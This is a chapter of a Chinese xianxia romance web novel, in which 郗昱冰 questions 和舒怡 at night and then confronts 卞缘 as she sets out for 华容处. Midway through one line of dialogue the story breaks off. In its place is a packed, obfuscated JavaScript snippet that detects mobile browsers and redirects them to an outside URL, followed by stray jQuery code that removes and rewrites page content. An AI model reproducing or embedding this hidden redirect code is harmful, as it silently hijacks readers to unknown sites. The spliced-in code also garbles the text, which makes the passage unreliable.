68. 冷语

    “郗二公子,夜闯这样的事,恐怕不合礼数吧?”和舒怡强迫自己稳住心神,她想到郗昱冰会来,但没想到她会这么快。


    郗昱冰的眼神扫过四周,夜色之中的院落,除了和舒怡之外没有旁人在,于是他略略退后几步,将自己和她之间的距离拉开。


    随着他们之间距离的扩大,和舒怡的紧张也缓解了一些,余光扫过郗昱冰的手指,食指之上的一枚戒指吸引了她的眼神。


    戒指是一枚窄戒,主色调是代表郗家的金色,严丝合缝的贴在郗昱冰如白玉般的指根处,和舒怡知道,戒指的内圈刻着郗家的家族图腾。


    止欲戒,淇陵郗家的家主象征。止欲,就是表面的意思,规诫每一任家主不可玩物丧志。


    据说戒指之上施加了特殊的禁制,若是佩戴者心有偏颇,则会受其灼伤,以此作为警示。


    看来郗孟河是真的惧怕郗昱冰前去血月,寻常家主继任都要宣告全族,告慰先祖,接着宴请各世家才算礼成。


    如今的郗孟河,迫不及待地将止欲戒传给郗昱冰,无非就是想用全族的责任困住他而已。


    “你要劝阻卞缘的事,是让她打消去华容处的心思?”郗昱冰漠然开口,他对大部分人都是这样的疏离。


    和舒怡在心里绝望闭眼,卞缘还想让郗昱冰远离危险,却不想她一句话还没说,郗昱冰就猜到了她想做什么。


    面对和舒怡的沉默,郗昱冰心里的猜想已经被验证,他继续道:“开捷的时候她就猜想血月重启是不是因她而起,所以她势必要前去探查。”


    和舒怡握着茶杯,这茶放了很久了,凉意渐渐传进手心。


    “既然郗二公子都知道了,那还有什么必要来向我求证?”


    “这确实没有什么求证的必要,我想知道的是,她不想让我插手的那件事。”


    “到底是什么样的危险,能让她连我都要隐瞒?”


    郗昱冰双眼带着洞悉一切的冷意,和舒怡下意识握紧了茶杯。


    “前世之事,定然有未解决的麻烦。”


    如墨般的黑眸盯着和舒怡,让她连呼吸都觉得有几分沉重。


    和舒怡心里翻起惊涛骇浪,面上却没有表现出来,“人有因果轮回,前世之事,早就在上一世终结,哪里有什么未解决的麻烦。”


    “既然前世因果已了,你和夏侯姿在卞缘清醒之后第一时间就找她是为什么?”


    “据我所知,夏侯姿之前和你们二人完全没有交集。”


    和舒怡眸光一顿,她和夏侯姿在遇上郗昱冰的时候已经刻意躲避了,没想到还是被郗昱冰察觉到了。


    “有了前世的缘分,自然就该有交集了。”和舒怡面容带笑。


    眼看和舒怡这里滴水不漏,郗昱冰也没了耐心继续和她周旋。


    “和小姐有意隐瞒也无妨,一切到了月墟自有分晓。”


    “告辞。”郗昱冰转身离开,身上的苦香在这寒夜里更加清晰。


    和舒怡可没忘记卞缘不想让郗昱冰涉足危险的念头,质问道:“如今止欲戒在你身上,郗家公认的家主就是你,你如何能放下一切跟她去?”


    “就算你心甘情愿,郗家主也会同意吗?”


    郗昱冰背对着她,不见半分犹豫道:“止欲戒我能戴上也就能再摘下来,用不着别人来置喙我的决定。”


    止欲戒的传承哪里有那么简单,家主之位也不是儿戏,他说他能摘下止欲戒,无异于说他可以放弃家主之位。


    如果换作是前世的神尊,一个小小世家的家主确实没有什么好稀罕的,可他如今没有前世的记忆,家主之位的重要性不言而喻,就这样他也能放弃。


    和舒怡看着郗昱冰的背影逐渐远离,心里盘算着怎么给卞缘传消息,让她早作打算。


    “和小姐也不用想怎么去告知卞缘了,如今这处院子有我设下的阵法,无论什么方法,她都不会收到你的消息。”


    和舒怡闻言,背在身后的手试着召唤听音封,如同石沉大海一般悄无声息。


    郗昱冰走时如同来时一般,都悄无声息,只留下和舒怡在原地惆怅。


    天色微明,崇水之地,清晨还泛着几分黑灰,一切景物在此刻还有些阴暗。


    卞缘屋子里的烛火一夜未灭,她在这时候微微转醒。


    有了上次在华容处惊心动魄的经历,说不忐忑是假的,但她如果再躲避,最后的下场或许就和蒲念一般。


    背后之人,她一定要揪出来,前世的错误,她也一定要知道缘由。


    卞缘轻手轻脚地出门,连盆景之上的露珠也没有惊动。


    观察了一下门外,一个人影也没有,卞缘松了口气,看来是没有被郗昱冰发现,她放心地迈出一步。


    “天还没亮就赶着去送死?”郗昱冰火气未消,说出口的话依旧火药味极重。


    水汽沉重的清晨,这句话冷的像是要将周遭的雾气凝结。


    卞缘先是被吓得一抖,随后僵住缓缓转头。


    郗昱冰一身天青长袍,“昭冥”随意的在臂弯中抱着,此刻的他就像缄默的清晨,鸦羽般的长睫之下,略泛着几分青黑,看样子他这一夜也没有休息好。


    卞缘一时手足无措,浑身都写满了被抓包的窘迫,“什么送死?你说的话我怎么听不懂?”


    “我就是想去找点吃的,昨天晚上吃的有点少,天还没亮就饿了。”尴尬的她甚至不惜做出来回晃动手臂这样的蠢动作来缓解。


    郗昱冰冷笑一声,修长的手在虚空之中一握,一阵蓝光闪过,卞缘骤然觉得自己少了些什么,抬眼“饮鸩”就稳稳当当的停在他手中。


    “我竟然不知道,饮鸩什么什么时候也要吃东西了?”郗昱冰说话声音平稳的可怕,细听却有几分咬牙切齿的意味,一看就是要气疯了。


    叛徒“饮鸩”,卞缘怎么也没想到“饮鸩”就这么轻松的被郗昱冰召走,她就知道那天的认主这家伙在骗她。


    “郗昱冰,我想做什么和你有什么关系?”卞缘狠下心冷声道。


    变故来的太快,郗昱冰本人甚至都没来得及反应,或许说,卞缘从来没有这样对他冷眼相向过。


    “从小时候


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16122551|165809||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你就拿那些大道理来管着我,束缚我,如今我长大了,做什么事还要向你汇报是吗?”


    “你以为你是谁?”


    这句话让郗昱冰本就皱着的眉头更是锁紧成一块,脸色难看的像被泼了墨。


    “你不是将天下苍生日日挂在嘴边,如今我要去救民于水火,你反倒不让了?”


    “还是说,你本就是个心口不一的伪君子?”卞缘咬着牙,尽力让自己说出尖锐刺人的话。


    “可以不在乎天下人的生死,冷眼旁观?”


    郗昱冰僵硬的站在原地,身上那些属于他的天之骄子的光芒,似乎在这一刻都被泯灭。


    伤人的话说的足够多了,卞缘沉声准备离开,郗昱冰却挡在了她的面前。


    卞缘咬牙伸手推开他,无论怎么用力,郗昱冰却像钉在原地一样一动不动。


    灰黑一片的天色中,卞缘对上他那双固执锋锐的眼。


    她眼睁睁看着,那双眼离她越来越近,属于郗昱冰的苦香铺天盖地的袭来,本来她最喜欢的味道,在此刻变得格外苦涩。


    “我是谁?”郗昱冰逼着卞缘与他对视。


    卞缘退无可退,只能偏开头,就在一瞬间,被郗昱冰强硬捏着下巴掰了回来。


    就在那一刻,卞缘骤然觉得心慌,郗昱冰从来没有这么对待过她,甚至他最生气的时候也没有。


    可与他眼神相触的那一瞬,心里那份惊慌又荡然无存。


    “很久之前,我说了多少次离我远点,你听而不闻。”


    “现在想和我扯清关系,你想都别想。”郗昱冰的嗓音压抑着怒火,变得暗哑。


    那双纯黑的瞳孔,也带上了近乎疯狂的偏执。


    两人的呼吸同频的急促,从前那层说不清道不明的间隔,此刻在被郗昱冰的失态撞地粉碎。


    卞缘想,她现在恐怕再也没有办法将两人关系归因于年少时的相伴。


    就算她想,郗昱冰应该也会将她碎尸万段。


    如此一来,她更不能让郗昱冰涉险,于是她猛地后撤一步,逃开郗昱冰身上的天罗地网。


    “随你怎么想,反正离我远点,离我的选择远点。”卞缘从他身边决绝走过。


    她能走的如此干净利落,是因为她看到了郗昱冰手上的止欲戒。


    郗昱冰没有前世的记忆,这一世的他远不如上一世那般无法无天,有了止欲戒,就有秦夫人,有郗家主,更有全族的责任桎梏他。


    于是卞缘放心地向盛鄞的书房走去,盛鄞得知她愿意前去华容处,高兴地笑出了一脸褶子。


    为了防止变故,他即刻寻了族中实力尚可的几人,随卞缘一同出发。


    崇水之滨,秦夫人慌张赶来,甚至妆容还未完整,却被郗孟河死死拦住。


    “郗孟河,你这是让缘儿去送死!”秦夫人柔和的面容也难掩怒火。


    郗孟河瞪了她一眼,“血月之劫事关天下万民,孩子都比你懂事。”


    冠冕堂皇的话刚落地,郗孟河就看见了从人群之后走出的郗昱冰,一时间脸上的血色尽失。